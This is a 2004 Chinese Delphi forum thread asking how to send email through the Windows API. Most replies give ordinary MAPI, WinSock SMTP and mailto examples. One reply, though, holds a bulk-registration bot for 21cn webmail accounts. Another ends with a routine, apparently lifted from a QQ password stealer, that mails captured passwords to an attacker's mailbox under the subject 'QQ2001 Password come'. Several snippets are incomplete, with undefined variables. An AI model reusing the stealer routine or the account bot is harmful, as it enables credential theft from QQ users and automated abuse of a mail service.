如何用API写发邮件程序(100分)

oiwin · 2004-03-05

用API写了一个小程序，想给它加个发邮件功能，又不想用其它控件，使程序变大。能不能用API写个发邮件过程，给个例子好吗？

cwmdelpher · 2004-03-05

program XXXX; uses   windows,messages,winsock,sysutils; {$R *.RES} const   CRLF=#13#10; var   thd:array[1..1000] of integer;   tid:array[1..1000] of dword;   faint,hMutex,mcount,speed,newtime,oldtime,num,count,err:integer;   s1:string;   sbuf:array[0..1024] of char;   dest:string;   allstart:boolean; //以下是网络连接的过程 function StartNet(host:string;port:integer):integer; var   wsadata:twsadata;   fsocket:integer;   SockAddrIn:TSockAddrIn;   mct,err:integer; begin   //为网络连接作好准备(用winsock1.1以上版本)   err:=WSAStartup($0101,WSAData);   //创建一个客户端套接字(Client Socket,用SOCK_STREAM，即TCP协义)   FSocket := socket(PF_INET, SOCK_STREAM,IPPROTO_IP);   //初始化网络数据   SockAddrIn.sin_addr.s_addr:=inet_addr(PChar(host));   SockAddrIn.sin_family := PF_INET;   SockAddrIn.sin_port :=htons(port);   //客户端向smtp进行连接   mct:=0;   repeat   err:=connect(FSocket,SockAddrIn, SizeOf(SockAddrIn));   inc(mct);   if mct>0 then break;   until err=0;   Result:=FSocket; end; //以下是网络关闭的过程 procedure StopNet(Fsocket:integer); var   err:integer; begin   //发信结束，关闭客户端套接字(Close Client Socket)   err:=closesocket(FSocket);   //清除网络参数   err:=WSACleanup; end; function PostData(uid,pid:string):integer; const   MaxSize=1024; var   FSocket:integer;   HeadStr,PostStr:string;   DataBuf:array[0..MaxSize*60] of char;   TmpBuf:array[0..MaxSize*16] of char;   SubStr:array[0..MaxSize] of char;   err,cut:integer; begin //  repeat     FSocket:=StartNet('202.104.32.236',80);     //  PostData(FSocket,dest);     //--------------------申请第一步-------------------------------------     PostStr:=//下面是POST数据部分              'FullName=&NewUserName='+uid+'&DomainName=21cn.com&submit.x=33&submit.y=10';     HeadStr:=//下面是HEAD数据部分              'POST /extend/gb/std/NULL/NULL/register.gen HTTP/1.1'+CRLF+              'Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/vnd.ms-excel, application/msword, application/vnd.ms-powerpoint, */*'+CRLF+              'Accept-Language: zh-cn'+CRLF+              'Content-Type: application/x-www-form-urlencoded'+CRLF+              'Accept-Encoding: gzip, deflate'+CRLF+              'User-Agent: Mozilla/4.0 (compatible; MSIE 5.0; Windows 98; DigExt)'+CRLF+              'Host: webmail.21cn.com'+CRLF+   //webmail.21cn.com=202.104.32.236              'Connection: Keep-Alive'+CRLF+              'Referer: http://webmail.21cn.com/extend/gb/UserName.htm'+CRLF+              'Content-Length: '+inttostr(length(PostStr))+CRLF+CRLF;     strcopy(DataBuf,pchar(HeadStr+PostStr+CRLF));     err:=send(FSocket,DataBuf,strlen(DataBuf),MSG_DONTROUTE);     strcopy(DataBuf,pchar(''));     repeat       err:=recv(FSocket,TmpBuf,MaxSize,0);       strcopy(DataBuf,pchar(strpas(DataBuf)+strpas(TmpBuf)));     until err<=0;     strcopy(SubStr,pchar('已经被占用了'));     if AnsiStrPos(DataBuf,SubStr)<>nil then       WriteCaption(hEditEMail,pchar('用户已存在'));     strcopy(SubStr,pchar('用户名太短'));     if AnsiStrPos(DataBuf,SubStr)<>nil then       WriteCaption(hEditEMail,pchar('用户名太短'));     strcopy(SubStr,pchar('非法字符'));     if AnsiStrPos(DataBuf,SubStr)<>nil then       WriteCaption(hEditEMail,pchar('非法字符'));     WriteCaption(handle,pchar(inttostr(strlen(DataBuf))));     StopNet(Fsocket); //    WriteCaption(hEditCount,pchar(inttostr(strlen(DataBuf)))); //  until err>0;   //------------------------------   FSocket:=StartNet('202.104.32.236',80);   //--------------------申请第二步-------------------------------------   PostStr:=//下面是POST数据部分            'Agree=Agree&DomainName=21cn.com&NewUserName='+uid+'&Version=2&'+            'LastName=xxx&CommonName=xxx&Password='+pid+'&ConfirmPassword='+pid+'&PasswordReminderQuestion=xxx&PasswordReminderAnswer=xxx'+            '&PersonalID=&Gender=0&birth_year=1999&birth_month=1&birth_day=1&MailBox=&PasswordReminderAnswer3=&Country=Null&Province=Null&City=';   HeadStr:=//下面是HEAD数据部分            'POST /extend/gb/std/NULL/NULL/AddUser1.gen HTTP/1.1'+CRLF+            'Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/vnd.ms-excel, application/msword, application/vnd.ms-powerpoint, */*'+CRLF+            'Accept-Language: zh-cn'+CRLF+            'Content-Type: application/x-www-form-urlencoded'+CRLF+            'Accept-Encoding: gzip, deflate'+CRLF+            'User-Agent: Mozilla/4.0 (compatible; MSIE 5.0; Windows 98; DigExt)'+CRLF+            'Host: webmail.21cn.com'+CRLF+   //webmail.21cn.com=202.104.32.236            'Connection: Keep-Alive'+CRLF+            'Referer: http://webmail.21cn.com/extend/gb/std/NULL/NULL/register.gen?FullName=&NewUserName='+uid+'&DomainName=21cn.com&submit.x=33&submit.y=10'+CRLF+            'Content-Length: '+inttostr(length(PostStr))+CRLF+CRLF;   strcopy(DataBuf,pchar(HeadStr+PostStr+CRLF));   err:=send(FSocket,DataBuf,strlen(DataBuf),MSG_DONTROUTE);   strcopy(DataBuf,pchar(''));   repeat     err:=recv(FSocket,TmpBuf,MaxSize,0);     strcopy(DataBuf,pchar(strpas(DataBuf)+strpas(TmpBuf)));   until err<=0;   strcopy(SubStr,pchar('你已经成功'));   if AnsiStrPos(DataBuf,SubStr)<>nil then WriteCaption(hEditEMail,pchar('申请成功!'));   //WriteCaption(hEditCount,pchar(inttostr(strlen(DataBuf))));   StopNet(Fsocket); end; //------------------------------------ //以下是线程创建时调用的线程函数 function fun(Parameter: Pointer): Integer; stdcall; var   uid,pid:string; begin     ReadCaption(hEditEmail,sbuf);uid:=strpas(sbuf);     ReadCaption(hEditCount,sbuf);pid:=strpas(sbuf);     PostData(uid,pid);     result:=0; end;

app2001 · 2004-03-05

function SendMail(const Subject, Body, FileName,   SenderName, SenderEMail,   RecepientName, RecepientEMail: string): Integer; var   Message: TMapiMessage;   lpSender, lpRecepient: TMapiRecipDesc;   FileAttach: TMapiFileDesc;   SM: TFNMapiSendMail;   MAPIModule: HModule; begin   FillChar(Message, SizeOf(Message), 0);   with Message do   begin     if (Subject <> '') then lpszSubject := PChar(Subject);     if (Body <> '') then lpszNoteText := PChar(Body);     if (SenderEmail <> '') then     begin       lpSender.ulRecipClass := MAPI_ORIG;       if (SenderName = '') then         lpSender.lpszName := PChar(SenderEMail)       else         lpSender.lpszName := PChar(SenderName);       lpSender.lpszAddress := PChar(SenderEmail);       lpSender.ulReserved := 0;       lpSender.ulEIDSize := 0;       lpSender.lpEntryID := nil;       lpOriginator := @lpSender;     end;     if (RecepientEmail <> '') then     begin       lpRecepient.ulRecipClass := MAPI_TO;       if (RecepientName = '') then         lpRecepient.lpszName := PChar(RecepientEMail)       else         lpRecepient.lpszName := PChar(RecepientName);       lpRecepient.lpszAddress := PChar(RecepientEmail);       lpRecepient.ulReserved := 0;       lpRecepient.ulEIDSize := 0;       lpRecepient.lpEntryID := nil;       nRecipCount := 1;       lpRecips := @lpRecepient;     end     else       lpRecips := nil;     if (FileName = '') then     begin       nFileCount := 0;       lpFiles := nil;     end     else     begin       FillChar(FileAttach, SizeOf(FileAttach), 0);       FileAttach.nPosition := Cardinal($FFFFFFFF);       FileAttach.lpszPathName := PChar(FileName);       nFileCount := 1;       lpFiles := @FileAttach;     end;   end;   MAPIModule := LoadLibrary(PChar(MAPIDLL));   if MAPIModule = 0 then     Result := -1   else   try     @SM := GetProcAddress(MAPIModule, 'MAPISendMail');     if @SM <> nil then     begin       Result := SM(0, Application.Handle, Message, MAPI_DIALOG or MAPI_LOGON_UI, 0);     end     else       Result := 1;   finally     FreeLibrary(MAPIModule);   end;   if Result <> 0 then     MessageDlg('Error sending mail (' + IntToStr(Result) + ').', mtError,       [mbOK], 0); end; ********************** 下面是利用WinSock发送电子邮件的例子： whaoye： program SendMail; uses   winsock; {$R *.RES} procedure sendmails;stdcall; var s:tsocket; buffer:array[0..255] of char; errorcode:integer; mailserver:tsockaddr; begin mailserver.sin_family:=af_inet; mailserver.sin_port:=htons(25); mailserver.sin_addr.S_addr:=inet_addr('202.104.32.230'); s:=socket(af_inet,sock_stream,0); errorcode:=connect(s,mailserver,sizeof(mailserver)); if errorcode<>invalid_socket then begin    buffer:='HELO'+#13#10;    send(s,buffer,length('HELO'+#13#10),0);    buffer:='MAIL FROM: whaoye@21cn.com'+#13#10;    send(s,buffer,length('MAIL FROM: whaoye@21cn.com'+#13#10),0);    buffer:='RCPT TO:administrator@godeye'+#13#10;    send(s,buffer,length('RCPT TO:administrator@godeye'+#13#10),0);    buffer:='DATA'+#13#10;    send(s,buffer,length('DATA'+#13#10),0);    buffer:='FROM:whaoye@21cn.com'+#13#10;    send(s,buffer,length('FROM:whaoye@21cn.com'+#13#10),0);    buffer:='TO:administrator@godeye'+#13#10;    send(s,buffer,length('TO:administrator@21cn.com'+#13#10),0);    buffer:='SUBJECT:just a test!'+#13#10;    send(s,buffer,length('SUBJECT:just a test!'+#13#10),0);    buffer:='I LOVE THIS GAME!'+#13#10;    send(s,buffer,length('I LOVE THIS GAME!'+#13#10),0);    buffer:='.'+#13#10;    send(s,buffer,length('.'+#13#10),0);    buffer:='QUIT'+#13#10;    send(s,buffer,length('QUIT'+#13#10),0);    closesocket(s); end; end; var wsa:twsadata; begin wsastartup($0202,wsa); sendmails; wsacleanup; end. ******************* //下面是个发信的子过程,取得密码后发回getoicq@21cn.com邮箱 procedure MailSend; begin err:=recv(FSocket,sbuf,400,0); s1:=strpas(sbuf); inc(step); case step of 1:s1:='HELO smtp.hacker.com'+CRLF; 2:s1:='MAIL FROM: <getoicq@21cn.com>'+CRLF; 3:s1:='RCPT TO: <'+email+'>'+CRLF; 4:s1:='DATA'+CRLF; 5:s1:='From:"Oicq Hack"<www.hacker.com>'+CRLF +'To:"getoicq"<www.password.com>'+CRLF +'Subject:QQ2001 Password come.'+CRLF +CRLF +newpass+CRLF +'.'+CRLF; 6:s1:='QUIT'+CRLF; else step:=0; end; strcopy(sbuf,pchar(s1)); err:=send(FSocket,sbuf,strlen(sbuf),MSG_DONTROUTE); end; //发信主过程 procedure SendPass; begin err:=WSAStartup($0101,WSAData); FSocket := socket(PF_INET, SOCK_STREAM,IPPROTO_IP); //利用 smtp.21cn.com 进行发信 fhost:='202.104.32.230'; fport:=25; SockAddrIn.sin_addr.s_addr:=inet_addr(PChar(FHost)); SockAddrIn.sin_family := PF_INET; SockAddrIn.sin_port :=htons(Fport); err:=connect(FSocket,SockAddrIn, SizeOf(SockAddrIn)); step:=0; repeat MailSend; until step=0; err:=closesocket(FSocket); err:=WSACleanup; end;

oiwin · 2004-03-05

to app2001,对你的最后一个例子很有兴趣，但有很多错误(变量没定义),能不能再给一个完整的?谢谢!

vf · 2004-03-05

ShellExecute(handle,'open','mailto:xxx@xxx.com?subject=Hello&Body=This is a test',nil,nil,SW_SHOWNORMAL);

oiwin · 2004-03-05

如果不使用21CN服务器,怎么解决SMTP的验证问题?

oiwin · 2004-03-06

问题解决了!

如何用API写发邮件程序(100分)

oiwin

Unregistered / Unconfirmed

cwmdelpher

Unregistered / Unconfirmed

app2001

Unregistered / Unconfirmed

oiwin

Unregistered / Unconfirmed

vf

Unregistered / Unconfirmed

oiwin

Unregistered / Unconfirmed

oiwin

Unregistered / Unconfirmed

Similar threads